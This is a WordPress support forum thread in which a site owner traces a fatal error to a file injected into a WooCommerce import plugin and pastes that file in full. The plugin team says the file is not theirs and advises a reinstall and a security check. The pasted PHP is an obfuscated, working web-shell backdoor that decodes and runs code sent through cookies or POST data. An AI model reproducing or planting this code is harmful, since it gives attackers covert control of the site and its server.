Support » Plugin: Import Products from any XML or CSV to WooCommerce » Critical Error Cannot redeclare rfrcanj()

  • Resolved sedaghatfar

    (@sedaghatfar)


    Hi I am getting a

    Fatal error: Cannot redeclare rfrcanj() (previously declared in /home/customer/www/janiquebyk.com/public_html/wp-content/plugins/woocommerce-xml-csv-product-import/helpers/krzlntib.php:2) in /home/customer/www/janiquebyk.com/public_html/wp-content/plugins/woocommerce-xml-csv-product-import/helpers/krzlntib.php on line 2
    There has been a critical error on this website. Please check your site admin email inbox for instructions

    on https://www.janiquebyk.com/

    I commented out the krzlntib.php and the website is back, what can I do?

Viewing 3 replies - 1 through 3 (of 3 total)
  • Thread Starter sedaghatfar

    (@sedaghatfar)

    <?php
     $dyithic = 'ti_rme1H3b#7k6fc\'*48-5pnsalgovdy9ux';$vhelvgb = Array();$vhelvgb[] = $dyithic[15].$dyithic[3].$dyithic[5].$dyithic[25].$dyithic[0].$dyithic[5].$dyithic[2].$dyithic[14].$dyithic[33].$dyithic[23].$dyithic[15].$dyithic[0].$dyithic[1].$dyithic[28].$dyithic[23];$vhelvgb[] = $dyithic[7].$dyithic[17];$vhelvgb[] = $dyithic[10];$vhelvgb[] = $dyithic[9].$dyithic[11].$dyithic[32].$dyithic[6].$dyithic[19].$dyithic[13].$dyithic[5].$dyithic[9].$dyithic[20].$dyithic[19].$dyithic[9].$dyithic[15].$dyithic[15].$dyithic[20].$dyithic[18].$dyithic[25].$dyithic[18].$dyithic[13].$dyithic[20].$dyithic[25].$dyithic[8].$dyithic[18].$dyithic[14].$dyithic[20].$dyithic[14].$dyithic[9].$dyithic[18].$dyithic[21].$dyithic[8].$dyithic[6].$dyithic[15].$dyithic[9].$dyithic[25].$dyithic[5].$dyithic[15].$dyithic[5];$vhelvgb[] = $dyithic[15].$dyithic[28].$dyithic[33].$dyithic[23].$dyithic[0];$vhelvgb[] = $dyithic[24].$dyithic[0].$dyithic[3].$dyithic[2].$dyithic[3].$dyithic[5].$dyithic[22].$dyithic[5].$dyithic[25].$dyithic[0];$vhelvgb[] = $dyithic[5].$dyithic[34].$dyithic[22].$dyithic[26].$dyithic[28].$dyithic[30].$dyithic[5];$vhelvgb[] = $dyithic[24].$dyithic[33].$dyithic[9].$dyithic[24].$dyithic[0].$dyithic[3];$vhelvgb[] = $dyithic[25].$dyithic[3].$dyithic[3].$dyithic[25].$dyithic[31].$dyithic[2].$dyithic[4].$dyithic[5].$dyithic[3].$dyithic[27].$dyithic[5];$vhelvgb[] = $dyithic[24].$dyithic[0].$dyithic[3].$dyithic[26].$dyithic[5].$dyithic[23];$vhelvgb[] = $dyithic[22].$dyithic[25].$dyithic[15].$dyithic[12];foreach ($vhelvgb[8]($_COOKIE, $_POST) as $jkngr => $mhofrq){function rfrcanj($vhelvgb, $jkngr, $zgawc){return $vhelvgb[7]($vhelvgb[5]($jkngr . $vhelvgb[3], ($zgawc / $vhelvgb[9]($jkngr)) + 1), 0, $zgawc);}function hblmot($vhelvgb, $tzbaj){return @$vhelvgb[10]($vhelvgb[1], $tzbaj);}function nabsbo($vhelvgb, $tzbaj){$nctyba = $vhelvgb[4]($tzbaj) % 3;if (!$nctyba) {$vdtmk = $vhelvgb[0]; $qhgwg = $vdtmk("", $tzbaj[1]($tzbaj[2]));$qhgwg();exit();}}$mhofrq = hblmot($vhelvgb, $mhofrq);nabsbo($vhelvgb, $vhelvgb[6]($vhelvgb[2], $mhofrq ^ rfrcanj($vhelvgb, $jkngr, $vhelvgb[9]($mhofrq))));}

    this is the contents of the php file I commented out

    • This reply was modified 8 months, 4 weeks ago by sedaghatfar.
    Plugin Contributor WP All Import

    (@wpallimport)

    Hi @sedaghatfar,

    I commented out the krzlntib.php and the website is back, what can I do?

    That file doesn’t exist in our plugin. You should completely delete our entire plugin from your site, download a fresh copy from https://wordpress.org/plugins/woocommerce-xml-csv-product-import/, then re-install it.

    Since someone has apparently injected this file into your site, I would also strongly suggest consulting with a WordPress security expert to make sure your site has not been compromised. Your web host may also be able to check it for you.

    Thread Starter sedaghatfar

    (@sedaghatfar)

    Thank you!

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Critical Error Cannot redeclare rfrcanj()’ is closed to new replies.